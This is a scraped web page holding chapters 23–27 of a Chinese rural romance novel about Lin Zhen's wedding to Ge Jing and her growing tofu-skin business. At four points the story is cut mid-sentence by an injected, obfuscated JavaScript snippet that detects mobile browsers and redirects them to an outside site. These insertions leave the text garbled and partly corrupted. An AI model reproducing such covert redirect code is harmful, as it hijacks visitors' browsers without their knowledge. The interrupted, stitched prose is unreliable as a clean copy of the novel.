“好!这事儿许姨来办,你莫要插手。往后,就别想这些了,与林家姐儿好好过日子啊。” == “我瞧得真真的,那姓许的娘们高兴得很!拉着贺景那小子笑得啊,像是捡了银子似的,你当真不去瞧瞧?若真教贺景那小子撞了大运得了一门好亲,有岳家相助,你说,贺景会不会报复你?” 村人眼睛滴溜溜直转。 “我是他叔!这些年,他可是吃着我家的米才活下来的!他是个白眼狼不记恩就罢了,还敢来寻我的不是?”贺二叔大着嗓门儿直嚷嚷。 “唉哟哟,老弟啊!在我面前,你可别说这些了。”村人用一种了然地目光打量贺二叔,又撺掇道。 “你还是去寻族长讨个主意罢,别真被贺景那小子阴了。” “我可不去,你还不晓得族长啊?得了好处就翻脸不认人了,我可得少踏他家的门,这才能不招人恨多活几年哩!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16319657|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二两浊酒入肚,贺二叔啥话都敢往外说。 村人也不搭话,瞧着吧!这贺二定然会去,他就等着看热闹咯。 果然,没两日,许官媒和另一位媒人腰悬牙牌往贺家湾来,她男人还带着十来人往贺家族长那头待了许久。 贺二叔坐不住了,媒人成双,这是官媒下定的架势啊!怎的?贺景那小子还真寻了一门好亲不成? 在家磨蹭许久,日斜时分,贺二叔拎上一壶酒,还是往族长家去了。 “族长,我瞧着那许官媒前两日就来寻过贺景了,可是贺景要说亲了?咋地?他贺景长成了,翅膀硬了,说亲也要绕过我这叔父去了?”贺二叔嘟囔着直抱怨。 “你也知道景小子长成了啊?”贺族长眼皮耷拉着,瞥了一眼贺老二,瞧见他没出息的模样气不打一处来。 现在知道人长成了?早干甚去了?既做下谋夺贺景家产的事儿,就该趁着贺景年纪小,直接将人养死!有他护着,贺二这怂货到底怕甚? 难不成那许官媒说的是真的?当年的田契,贺二当真没烧干净? 心中疑虑更甚,瞧着贺二想起许官媒言语间的威胁。贺族长心中怒气更甚,看不得贺二杵在跟前,皱着眉直挥手。 “好了,别在我跟前杵着了!瞧着就来气,景小子是要上门与人当赘婿去,虽然丢我贺家一族的脸面,可将他远远儿地打发走也好。你别插手,此事我已经应下了!” 贺二叔心里先是一喜:与人当赘婿,嗤,还以为那小子真走大运了呢! 随即又被族长言语中的轻视气到,当下一言不发,颇为不忿地走了。 贺家族长眼神阴沉沉地盯着贺二。罢了,闺女的婚事要紧,先不跟这蠢人计较! == 林家四月才刚办过酒席,又要为六月的酒席作准备。 虽说这回好歹有一个多月的时间来准备,可还是很赶。这可是真姐儿成婚,样样都要好好操办的。 可人许官媒说六月是难得的好日子,那日办酒,与倆人八字再合适不过。且赶在秋收之前将人招上门来,一来是个劳力;二来,景小子也不必为秋税又去山里拼命。 后头的话是许官媒说的,将人说得多可怜。 林真心一软,也就应下了。 好在许官媒不愧是慈溪县的招牌媒人,办事儿很是利索。样样不需林家多操心,婚书、小定、请期…… 一样样安排得很是妥当,林家有林屠户和苗娘子操持着,还有大伯一家来帮忙。哦,还有族长家的小儿子林有文协妻周氏来相帮,居然一点儿没乱,顺顺当当将事儿办成了。 期间,林真还如愿接了兴福坊内两家富户办宴,来定腐竹的单子。家里入账不少,新房就修缮更好了些。 新床、新柜、新架子……连床上的竹凉席都是新的,铺了大红的被褥。 林真打外头经过,探头瞧着房里红彤彤一片,这才惊觉:我真要成亲了。 晚上睡在燕儿房里的时候,小丫头拉拉她的手:“阿姐,往后咱倆不能一个屋子睡了。” 还怪是伤心的样子。 林真笑了笑:“咱还在一个家里啊。” 是了,这是她能打出的,最好的通关小结了。 成亲嘛!虽两辈子加起来都是头一遭,也没甚好怕的! 24. 第 24 章 贺景是在日斜时分踏入枣儿村的。 许官媒与他同行,出了贺家湾后,渡口是赶着大灰的林茂青兄弟俩。 “瞧,那是林家姐儿的倆表兄,他们来接你一程咧!”许官媒很是高兴。 入赘于男子来说确实伤脸面。故而本家这边基本不出人,确实疼孩子的,也多是当娘的陪着走一遭。 而女方这边儿呢,有许多人家只一昧弹压人,有时还会要求男方改姓。 好在林家不是这样的人家。 可话又说回来,女子嫁人不也是一样的吗?从自己家到别人家去,哪个不是悬着心呢? 许官媒收起感伤,郑重道:“景小子,姨母晓得你是个好的。那林家也是和善人家,可过日子哪有不磕磕碰碰的,你和林家姐儿往后即便是拌嘴,也万万不可将入赘之事挂在嘴上。这言语之利,更堪刀剑,一旦伤了人心,要想转圜,那可是难如登天了。” 贺景瞧了一眼被流水和茂林掩在一片阴影之中的贺家湾。转过头来瞧见在渡口甩着尾巴的毛驴儿,笑了笑。 “许姨,您放心。我往后定然好好过日子。” 大灰托驼着两只箱子家来的时候,围在林家门口的众人抻着脖子瞪着眼儿瞧,就想知道他们枣儿村这头一位上门婿长甚样。 “模样还怪俊的哩!只瘦些,可没缺胳膊少腿儿的。” “瞧着挺精神,也不像是个憨的。” …… 窸窸窣窣只敢小声议论,无他,今儿站在林家门口帮着迎客的是族长夫人陈氏,可不是没人敢放肆嘛。 林真此时由着另一位媒人引到门口,她没盖盖头,满头乌发一丝不乱地盘成同心髻,很是利落,身量又高挑,此时走来,在众人的围观下毫不见怯,端得是落落大方。 林真今日自然也是一身新,最要紧的是,她屠户爹请许官媒给寻了位梳头娘子来。敷粉绞面、梳头上妆,折腾了一大早。 林真先时瞧见梳头娘子带了好大一只官皮箱来,还真怕自个儿会被刷个大白脸。可她确实小瞧人家了,还不待她开口,梳头娘子双眼弯弯先赞道。 “好英气的小娘子,同心髻放你身上定然飒爽,当家娘子,自然要有派头的!” 只看她给林真画的眉毛,不是如今流行的,柔和秀气略显忧郁的远山眉就晓得,许官媒介绍来的梳头娘子很是靠谱。 今日长眉入鬓、略施粉黛的林真,自是与平日不同。 林屠户一瞧见她,差点儿湿了眼眶:“真姐儿,是大姑娘了。” 燕儿要直白得多,双眼亮晶晶:“阿姐今日真好看!” “我也这样觉得!”从梳头娘子的镜匣里瞧见自个儿今日的妆面时,林真也很是满意。 贺景今日也是一身新,那衣裳还是许官媒着意置办的。 交领皂衫,一抹红边是里头红色的里衣,瞧着倒是与林真身上的鸦青半袖配红色百迭裙很是登对。 这时候的寻常人家成亲是不会置办红喜服的。 扯一身衣裳要不少钱,红喜服只能穿一回,对农家人来说太过奢靡。讲究些的也不过是扯一块红盖头,或是置件红底裙儿。 林真不用盖头,便扯了一身红罗百迭裙。 俩人个头都高,今日又着意拾掇过,此时挺直身板儿站在一处迎客,倒是教村人有些不敢认。 随公婆前来吃席相帮的容娘,打量着林真倆人,心里有些咋舌:那通身的气度,瞧着与城里好些大户人家的女郎也不差甚。还有那招来的上门婿,这么一拾掇,哪里像是那穷山沟里头出来的? 被打量的倆人倒是一派镇定,随着林屠户喊人,这个婶娘那个叔伯的,言笑晏晏。若是遇上有人打趣几句,林真能接上话不说,贺景也能说上几句客气话。 今日前来吃席的客人,见俩人举止大方,倒都在心里嘀咕:这真姐儿瞧着不似传言粗鲁,这上门女婿一副好相貌不说,人也一点儿不孬。 林家哪像是要败了的样子,这分明是兴家之像嘛! 再待林福得了吩咐,赶着骡车携了礼物前来时,林家院子里的热闹简直要闹翻了天去。 “林娘子好生客气,这样的喜事也不肯说。我得了东家的吩咐,不请自来讨杯喜酒吃,还望勿怪。”林福拱着手十分客气,脸上挂着团团的笑。 “怎会,原是我的不是。林小哥里面请,今儿必要与我们好好吃一杯酒。”林真瞧见骡车是配了车夫的,便放心相邀。 “不忙,东家吩咐我携此物给林娘子添添喜意呢!”林福打开一个匣子。 枣儿村众人都抻着脖子望。啥东子?怪模怪样的,可红彤彤的倒是喜庆。 这,是鞭炮? 林真仔细回想,原身确实是没见过这东西的,又见旁身众人也是一脸疑惑,便充满好奇地问。 “这是甚?” 林福笑眯眯:“打江宁那头来的稀罕物呢!” 快手快脚将两挂鞭炮挑起来,指着火药线给林真瞧。 “上头的竹节都是用此药线串在一处的,引燃此处,便能教一整串竹节依次炸响。取其百余不绝之意,贺林娘子长乐永康!” 两挂鞭炮炸得山响不说,最外层裹着竹节的居然是染了色的红纸,随着竹节炸开,片片红色翩跹,好似一朵朵红花翻飞。 这场面,教林福弄得,果真热闹喜庆,还倍儿有排面,十里八乡的,都晓得此处热闹。 今日林家本备了二十六桌席面,怕人多菜色不够不好看,还又多备了两桌子的好菜。哪想到,教这鞭炮一炸,满满当当围坐了二十八桌不说,后头陆陆续续又来了好些人,瞧着足有两桌人! 林大伯一家赶紧撤下来,先安排了客人落座,又教周灶人赶了两桌菜来。 幸好采买时没吝啬,菜肉都是备足了的,周灶人经验丰富手脚麻利,支开桌子到底是将人安排妥当了。 而这头的林真和贺景,正挨着桌子敬酒。 因着身后还跟着林有文,圆领长袍上身,童生和里长儿子两层身份在,将那些个起了心思想要借机耍赖欺人的人都按下去了。 林真和贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16329917|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景,敬了一圈儿礼数做足了,到底是能安安生生坐下来吃上几口好菜好饭。 林真用眼神示意身边的人下箸,她家今日这席面办得甚好。 一桌十个菜,八个肉菜,只一道焙瓜瓠和凉拌腐竹不见荤腥儿,连汤都是酸笋老鸭汤。 自家东西都不赶紧吃上几口,还等啥? 热闹了大半晌,先送走了赶着回县里的林福,吃席的客人待到月上柳梢才三三两两散去。 == 林真散了头发,擦洗过后铺盖一卷儿赶紧会周公去,她累得慌。 睡着之前迷迷糊糊道:“明日,卯初一定得起,林掌柜怕是寻我有事儿。” 今日人多,林福不好多说,可走时分明说了明日在兴福坊见,且他今日前来搞这么一出,怕不止是吃酒这么简单。 翌日,林真是教一张冷沁沁的湿帕子叫醒的。 她瞧着已经收拾整齐的贺景有些来气,可人连早饭都端来了,她又不好说甚,只能快速扒拉了几口出门去。 村人赶着牛车已等着了,见了林真倒是搭话。 “真姐儿倒是勤快,便是成亲,这城里的摊子也没耽搁,看来是赚了不少钱哩!” “唉,也是挣个辛苦钱,这才日日不敢耽搁。”林真只回一句,爬上牛车便不搭话。 贺景才要跟着上去,那赶车的村人又说:“恁年轻的汉子也坐车啊?” “哼!”林真冷笑一声。 “您可真有意思,我车上坐着,您车板儿上坐着,教我男人像个押车的脚夫一样,跟着跑?我这些家伙什不到百斤,便是加上我和贺景也不足四人来得重!您往日一趟车拉七八人不嫌多,怎的到了我这头便嫌上了?您这每日二十文,赚得可真是轻巧!” 贺景,站着不说话,像个受欺负的小媳妇,可唇边似乎有丝笑意。 “哎呦呦,我就这么一说,真姐儿怎的还计较上了?”那赶车的村人不认。 “您就这么一说?显得我还多不懂事一样?您拿钱办事儿,咱们便要有规矩。今日一说,明日一说,平白惹人不痛快不说,还净耽搁事儿!” 林真说完,瞧见村人不吭声了。 又冲着贺景道:“上来,咱可得快些!” 一路闷不吭声赶路,还是在往日的时辰到了县城。 那村人心中有气,只一个劲儿地推脱,不肯再帮着将人送到兴福坊那头去。 林真眯着眼看,贺景将东西卸下来,往自个儿身上扛。 “娘子,走罢。” 林真从贺景身上分了装腐竹的背篓,不顾贺景阻拦,又将条凳扯来自个儿提溜着,这才带头往兴福坊去。 憋着一口气才走到兴福坊。 林真面上都是汗珠子,她掏了汗襟子出来擦,左右瞧了瞧。失望,这时候还没人来卖香饮子。 贺景将家里带来的水囊递给林真,学着旁人的样子将摊子支起来。 林真笑了笑,将水囊递给贺景:“擦擦汗,你也喝口水歇歇。待会儿咱买金橘团熟水来吃!” 25. 第 25 章 林真与贺景虽已成婚,可倆人,严格来说,还是算陌生人。 至少对林真来说,是算的。 她倆才见过一面好不? 可林真没料到,与贺景头一遭出来摆摊,倆人配合得却很是有默契。 主要是吧,贺景这人虽然话不多,只偶尔搭话,可就是这偶尔搭的一两句,回回都能正中要点。 月白对襟挽高髻,收拾得特利落的娘子眼睛盯着,是在挑剔不干净。贺景包箬叶的时候会特别留意不去碰到豆干儿,还会闲聊似的说起采摘箬叶洗晒之事。 头插银钗的妇人买一把腐竹,眼儿才落在豆干儿上,贺景就晓得要去给人挑半块豆干儿当添头… 几回下来,林真干脆直接坐在小杌子上,只给人打下手。 天晓得,她其实是个不那么爱说话的人。 这辈子倒好,才来没几个月,与人打交道谈生意的话说了几大车,快赶上上辈子一年的社交量了。 可谁叫家里只有她能出来摆摊儿呢? 苗娘子,即便是现在也不大出门,怕是连枣儿村都没好生逛过。她屠户爹?摆摊经验倒是十分丰富,他那体格子放在肉铺不违和,可站在此处,能教客人少一半儿。 能怎么办呢?总不能指望七岁的燕儿罢?林真只能咬牙坚持。 现在好了,家里来了个能分担的,她乐得偷闲。 溜达着买了熟水回来的林真,刚好撞见了赶着驴车的林福。 “林娘子,咱们掌柜的请您和贺郎君用顿便饭,派小子来相请。”林福一脸笑。 “又教林掌柜破费了。”林真目光落在驴车上,半点不推辞。 瞧瞧人家这周到的,许是瞧见今日自个儿和贺景背着东西,这厢还特意牵了驴车来,定是有事儿相商。 林福带着倆人一路到了西市,在一座二层酒楼前停下。 酒楼门口甚是宽敞,又以彩纸和竹木制半月形的欢门[1],上头迎风招展的彩帛在日头下晕出彩光来,吸引着无数腰间鼓鼓的食客。 “福管事。”车才停稳,招揽客人的伙计便小跑过来,殷勤又周到。 “牵到后头去,车上的家伙什都是贵客的,好生瞧着。”林福将驴车交给小伙计,又转身对着林真倆人一礼。 “二位请,大掌柜在楼上等您。” 林真抬头瞧着‘丰乐楼’三个龙飞凤舞的大字,这是慈溪县内数得上名儿的酒楼。 眼睛在彩帛上一晃,农家难见的东西在此处只是用来吸引客人,当个摆设罢了。 “林大掌柜这是高升了,是要好好贺一贺。” 林福眼中笑意更甚,微微弓着身子在前头引路。 林真挺直了腰板大步跟上,又轻轻碰了碰身边的贺景,低声安抚。 “咱可是贵客呢!” 贺景一怔,转而尽量舒展身形,跟在林真身旁一同朝楼上走去。 倆人的粗布短衫在此处确实扎眼,可行走之间不见畏缩,又都是一副好相貌,前头还有个林福引路,倒是没人跳出来,出言奚落,最多瞧上两眼便罢了。 二楼俱是小巧玲珑的雅间,最适合约人谈事。 林掌柜在门口迎林真,笑呵呵的模样,当真是人逢喜事精神爽。 “林娘子、贺郎君,里面请,老朽恭候多时了。” 众人依次落座后,林真才发觉,这二层酒楼后边别有洞天。 假山流水环绕着一间间小巧院落,又有翠竹奇花掩映,飞桥栏杆上是捧着食案的伙计和焌糟娘子穿行其间。好一幅奢侈画面,教林真这个自诩有些见识的异乡人瞧着都咋舌。 寒暄几句,林掌柜便直入正题:“这酒楼,每日约耗三斤腐竹,不知林娘子可能供应?” “能!”林真在心里快速过了一遍,立即答应。 稳定的客源,固定的收入,谁不答应是傻子。 “哈哈,林娘子果然爽快!” 倆人商量了一些细节之处,便果断定契。这回是长久生意,自然要签红契,拟好契约着人去县衙盖印后,林掌柜也不多留,使人捧来两白瓷盏后,神神秘秘道。 “林娘子赏脸,细细品味一番这春水魄。” 随即出门去,将空间留给林真倆人。 林真心有预感,和她有关,除了腐竹那就只有桑叶豆腐了? 可瞧见那白瓷盏里头的东西后,着实不敢相认。 桑叶豆腐被一分为二,灰色的部分和雪白细密的冰沙堆成山峦模样,翠色的部分铺满整个盏子,上头淋了一层透亮的蜜水,确有波光粼粼之感,又在角落用绯色糖浆勾出半朵残荷。 盏中作画,不愧它春水魄的美名儿。 林真欣赏了半天,用搭配的小银勺舀了半勺送入口中,滑嫩清甜,冰冰凉,不论是口感还是甜味儿,着实比她折腾出来的桑叶豆腐不是一个档次。 听见小伙计笑眯眯道:“一盏春魄,二十八个钱!” 林真忍住了,没在心底大叫,奸商! “这东西可稀罕了,整个儿慈溪县,只有八仙茶坊和咱这头有呢!打竹林雅集上传出来的,冰盏盛玉魄,澄澈无暇胜春水,大人们都在赞哩!” 听听,还有名人雅士打广告,合该人家赚这个钱。 小伙计离开后,林真招呼贺景。 “用饭,用饭,待会儿还有得忙呢!” 确实忙,拿了红契后,林真和贺景先去米行买豆子,又去了熟药局买石膏。 在外头探头探脑,瞧见贺景同样被小药童盘问许久,林真心里诡异的平衡了。 倆人今日是空手回去的,那些个家伙什都搭了米行的便车运回去。林真也懒得去等枣儿村的牛车,与贺景溜达着往家走。 豆子有贺景操心,林真乐得丢开手,自去围着家里的大小灰瞧。 这会儿拉磨的是小灰,林真盯着它湿漉漉的大眼睛不错眼。 丰乐楼每日要三斤腐竹,兴福坊的摊子上销量稳定下来后,每日约莫能卖出去六七把腐竹,便算作一斤半。平日里还要再备些货,免得有富户办小宴时采买腐竹支应不开。 这一算,可不得了,一日至少得磨上百来斤豆子。 嘶! 林真盯着小灰没长成的小细腿儿瞧,罢了罢了。 大小灰平日里磨豆子已经很辛苦了,眼瞅着秋忙就快到了,紧接着便是中秋、冬节和年下,正是屠户最忙碌的时候。大灰必要跟着她爹跑东跑西的,家里的豆子只能指望小灰了。 林真叹气,还真是被那牛车主拿捏住了。 说好了要与丰乐楼送货,夏日两日一送,冬日五日一送。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16339035|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那赶车的村人本就存着加钱的心思,再添上丰乐楼那头的路程,更是有得说嘴。 林真望天,有些烦。 “真姐儿这是咋的了?不是说有大酒楼瞧上咱家的腐竹,要赚大钱了,怎还叹气呢?”林屠户冲着贺景问。 “许是在忧心又要教家里人劳累了。”贺景当然知道为了啥,可他没说实话。 “嗨!我说她寻思啥呢,咱家现在新添了你,她担心个啥。” 林屠户倒不是在点贺景,虽只进林家一日,可也瞧得出这女婿能干着咧。 今儿一大早,牲口棚收拾妥当了不说,灶上连粥都熬上了,教惠娘好一顿夸。 他瞧在眼里,也确实欢喜。 “爹,我去屋子里给真娘寻样东西。” “成,你喊她一起去,蹲恁久了,也不怕腿麻。”林屠户挥挥手。啧,这称呼,还怪奇怪的。 林真腿真麻了。 搭着贺景的手才站起来,一路被人领到屋子里还奇怪。瞧见贺景翻他那两只箱子更奇怪了。 说起来,这算是贺景的‘嫁妆’罢?她可从来没打过主意的,这是作甚呢? 贺景从箱子底下翻出一个粗布包袱,看了两眼,捧到了林真跟前。 “里面有五贯钱,是当初那八贯钱剩下的。散碎的一百来文是我自个儿存下的,还有这把梳子……” 贺景顿了顿才接着说:“是我自个儿攒下钱买的,是……” “送给我的!”林真自信满满,不错眼地盯着贺景。 贺景笑了笑,将东西都送到林真手边。 “是,是我想要送你的。” 很普通的桃木梳子,可林真捏在手里,又瞧了瞧那沉甸甸的五贯钱,只觉着手里的梳子热得发烫。 她十分郑重道:“结发夫妻,白首同心。你若不负我,我必不辜负。” 贺景面上有些发红,他能感受到林真的郑重和真心。他这样的人,也能值得人如此郑重?倒显得他似乎也十分重要一般。 好在他肤色黑,即便面上发烫,应当是瞧不出来的。 贺景定了定神,将话题拉回来:“再卖上几日腐竹,咱们便可再去买上一头壮年驴子来,那便再不受人辖制了。” 林真实在开心,这人,与她想到一处去了。 “不用攒,我手里还有两贯,咱们明日就去买驴子!” 她想了想又补上一句:“这五贯,我日后补给你!” “别推,这不是与你分清楚。该是你的就是你的,我打明日起还要正经记账咧!咱家这腐竹营生支开来,一家子都出了力的,那就记账算工钱,都有得分!” 贺景将钱拿出来就没想过拿回去,他本就身无长物。原本就是林家的钱,他箱子里的两身好衣裳和两床被子,都是从那八贯钱里头来的。 他最大的财产,只有那把用了许多年的铁斧。 从前饿着肚子买下来的,不单指望着它砍柴,它还牵着他心底最后一丝野望。 可现在到了林家,有了林真,那铁斧便好似只是劈柴的物件了。 “咱们心往一处,劲儿也往一处使!日子定然是越过越好的!”林真在展望未来,又叫画大饼。 “好!”贺景眼睛亮晶晶。 显然,有人很乐意吃这大饼。 26. 第 26 章 林家在开家庭会议。 “赶车的村人想加钱,我可不想如了他的意。有一就有二,他人又不爽快,少不得还要生事儿。贺景拿了五贯钱出来,我手中还有两贯,咱自家去买一头壮年驴子去,懒得受他辖制!” 林真三言两语说完。 林屠户听见女儿特意点出贺景舍出的五贯钱来,心中欢喜:瞧瞧,都在护着人了,看来真姐儿对这夫婿是满意的;女婿也很不错,没藏私,好啊! 这才是一家人过日子。 “秋收将至,牲口行正是热闹的时候,这时去怕是要挨高价,爹也出一贯,明儿我就去牲口行寻人留意着。” 林真的这场婚事,林屠户是着意办得好了些,真姐儿招赘,这排场就不能落下。 手中钱财去了大半,虽有收礼,可两相并未持平,这时手中确实不甚宽裕。可林屠户也瞧不上赶车那户人家,眼红贪心,实在小道,还是凑出钱来自家买驴,不与他家打交道的好。 家里添驴子的事儿就说定后,林真又提了记账的事儿。 “咱家这营生也算是支应开了,一家子都出了力的,该要分钱。” 瞧见林屠户似乎有话说,林真先摆手。 “打住打住,爹,您先听我说。” 卖腐竹的钱一直在林真手里,她有回拿钱给苗娘子,人一个劲儿推脱。 稍稍一想,就晓得跟她屠户爹脱不了干系,那时赚得不多,林真就没坚持,只是注意着给家里添些柴米油盐酱醋茶甚的。 可现在生意起来了,苗娘子陪着制腐竹不说,村人还会上门来买豆干儿。她是全围着腐竹转悠了,再不给钱可说不过去。 “爹,女儿是这样想的。往后这营生赚来的钱,女儿拿六成,三成供给家中开销,还有一成,给苗娘子。”林真这话其实很是大胆。 父母在,不分家。这是此时的枣儿村最常见的家庭模式。 一个灶头盛饭吃,钱财捏在长辈手中,长辈包揽衣食住行。未成丁的子女手中无私产,成家生子的小家庭中也没有私产。甭管私下有没有,可明面上是绝对不能有的。 家中多少钱财,除了长辈,谁都不清楚,只能私下算算。连提都不能提上一句,否则就是算计家财,不孝的帽子就要扣上来。 可林家显然不这样,林屠户和女儿相依为命,本就不大瞒着女儿家中钱财之事。待原身大些到肉摊子上帮忙后,有时连记账都是原身在做。 是的,原身是识字的。 幼年失恃,对女子来说尤为不利。 失训与无教,两顶大帽子扣下来,在这个以相夫教子为女子本分的时代,几乎可以看作是判了一个闺阁女子的‘死刑’。 林屠户当然知道轻重,不然当年也不会着急娶妻。后来婚事不顺,思来想去,干脆花钱将原身送去县里的女塾师那处教养。 一月六百个钱,三节两寿还要额外送礼。 识字记账、女红中馈、人情酬酢样样都教,原身在女塾中,一呆就是四年。 不然,就凭肉行摊子的收入,林屠户怎么着也不至于在县里打拼小十年了,还是只能赁房来住。 可即便这样,林真在婚嫁之事上还是会被人挑剔:终究不是当娘的亲自教养出来的,总是欠些风范。 每每想起来,林真就怄得慌。 林屠户原是不想要女儿的钱,这稀罕玩意儿是真姐儿搞出来的,本钱、摆摊的地儿和客人样样都是真姐儿自家办的。 他私心里,是想教真姐儿自家捏在手中,手中有钱心不慌,多添一层底气不是。 林屠户可不似那些死捏着钱财逞威风的老东西。 钱是个好东西,谁都知道。可若是钱财全靠小辈赚来,当长辈的还要捏在自个儿手里用来辖制人,那不是教子女离心吗? 在林屠户看来,这当真是蠢出升天了。他自是不会作出这样的糊涂事来。 可听见真姐儿说要分出一成利来给苗娘子的时候,他犹豫了。 惠娘确实辛苦,他这些日子清闲,家里连着办事儿,银钱花出去的多,拿回来的少。且他家情况特殊,是该教惠娘自个儿存些银钱在手,还有一个燕儿呢。 虽说他是一定会给燕儿存嫁妆的,可到底隔了一层。 谁有,都不如亲娘手里有来得安心。 林屠户犹豫,苗娘子心中也是纠结难安。 在听见分她一成利时,她呼吸一停,心中发紧,多年的规训告诉她:你不该拿。 可心中的挣扎是怎么也不能骗人的。 这一犹豫,苗娘子就没说话。 林真见倆人都不说话,只当倆人默认了,当即拍板。 “成,就这样说定了!散会!睡觉去!” 明月的清辉洒在这间小院儿,清亮亮还自带静谧氛围,伴着虫鸣与晚风,林真心里格外畅快。 抬头瞧见一弯明月,眯起眼来,双手合十作虔诚状:“最好明日,就能买到一头油光水滑年轻力壮的好驴子来!” 林家的第一届家庭会议圆满落幕,除了还不大知事的燕儿,整个儿家里,怕是只有林真睡得安心。 贺景躺在一旁,瞧着身旁熟睡的人。 她果然是不一样的,有她在的家,也是不一样的。 == 林真今日坐的还是村人的牛车。 说起要往西市丰乐楼去,村人果然要加钱,一口气加五文钱。 “真姐儿,不是叔胡乱要价。这先往西市再朝兴福坊去,一来一回要耗去我多少时间?且你这东西是越来越多了,只加五个钱,实在算不得多!” 那村人翻着眼皮子,一副你占了大便宜的模样。 呸! 且不说兴福坊地处慈溪县西北处,与西市所隔不远。就说今日,她确实多带了一筐腐竹送去丰乐楼,可只有三斤!但今日只有她一人去县里摆摊,人少了一个怎不算? 林真深吸一口气,罢了。丰乐楼的事情耽搁不得,且不与他在此处多费口舌! “成!可咱得说好了,你可别今日加价明日又加的。小本生意,赚个辛苦钱,经不住您这日日加价。” “呵,真姐儿过谦了不是?你这还是小本生意啊?你这都要往大酒楼送货了,手头随便漏一点出来,都够我赶好几日的车了。” 村人仗着枣儿村只他一家赶车的独门生意,钱要赚足了,嘴上也不肯吃亏。 林真憋着一口气爬上车,懒得搭话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16351247|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哪晓得,这人实在不知见好就收,一路念叨着生计困难赚钱不易之语。 好不容易挨到了兴福坊,林真数出十五个钱来。 “今日下半晌不用来接我了。我爹进城办事儿,我自是与他一道走。” 村人接了钱,一一放进自个儿荷包,嘟囔道:“成,不接你,我还能多带几个人哩!” 林真,差点儿被惹毛了! 说得好像她没给钱一样! 不行,今日就是在牲口行耗上一日,她也要教他爹将这驴子买下来! 林屠户还在家里滤豆浆,这厢有贺景加入,即便家里要磨的豆子翻了一倍,他也不觉着吃力。 这女婿实在舍得下力气哩!好孩子,都是好孩子。 今儿去县里割些肉来给家里人补一补。 家里办席多来了好些人,原就没剩啥好菜,再与相帮的村人分上一分,更不剩甚了,得去买。 再有,买驴子要讲究缘分,要等,今日只是先去探探行情,还有时间。 还在家里盘算着的林屠户,显然不晓得林真的心思。 这头的林真虽心里有气,可她很快便调节好了。同往常一样,笑盈盈招呼客人,一团和气的模样。 她面上无异样,可与村人相争的样子还是教有心人瞧出来了。 “大掌柜,今日林娘子来与咱们送腐竹时,瞧着与那车夫可不大和睦。先前兴福坊内的伙计也说过,林娘子与那车夫有些争执,有回还是自个儿背着家伙什来支摊子的。” 林福觑了个空,赶忙来找林掌柜。 “哦?”林掌柜摸了摸胡须,“你今日去瞧瞧,若是咱能帮上忙就帮一把。” 林家女郎可不是个甘愿受制于人的,定有打算。 竹林雅集办得实在漂亮,林家女公子不仅取得了老太爷的认同,春水魄和金缕素云更是赚得盆满钵满。 流水的银子往八仙茶坊和丰乐楼淌。 女公子如愿,对林家姐儿印象不错;林掌柜高升,一举拿下丰乐楼大掌柜的职务,对林真不止欣赏,还觉着这小娘子运势强,更是有心相交。 这不,机会来了。 林福得了吩咐,当即就去寻林真。 他现在是外柜管事,与人结交再正当不过。 林福来得倒是巧,赶来就碰见林真在与林屠户抱怨。 “爹且不晓得他多张狂,您去牲口行多转转,今日,咱一定要牵一头驴家去!” 林屠户挠挠头,今日不是旬日,牲口行没多少人,更没甚好货。 林福凑上来,三两句话打听清楚后,直拍腿。 “这样的小事儿林娘子怎不与我说说?东家庄子上养了好牲口,本就是要往外卖的,卖与谁不是卖?林娘子是老熟人了,怎还这样见外?” “当真?福小哥,可不是我见外,若是晓得你这头有好牲口,我定然早早就寻你了。今日可能去瞧瞧?” 林真也不怕人瞧出来她的急切,林福显然是有意相帮,哪里还会在价钱上占便宜。 “怎不行?只是庄子在城外,若要赶着今日过契,咱可得快些。” 林真将剩下的两把腐竹和熏豆干一卷。 “走,咱今日就去!” 27. 第 27 章 林真和她屠户爹牵着驴子家来的时候,不出意外,又遭到了村人围观。 这回林真不觉着尴尬了,反而牵着驴子昂首挺胸走在最前头。 哼!她凭本事赚的钱,再眼红,那也只能红着。 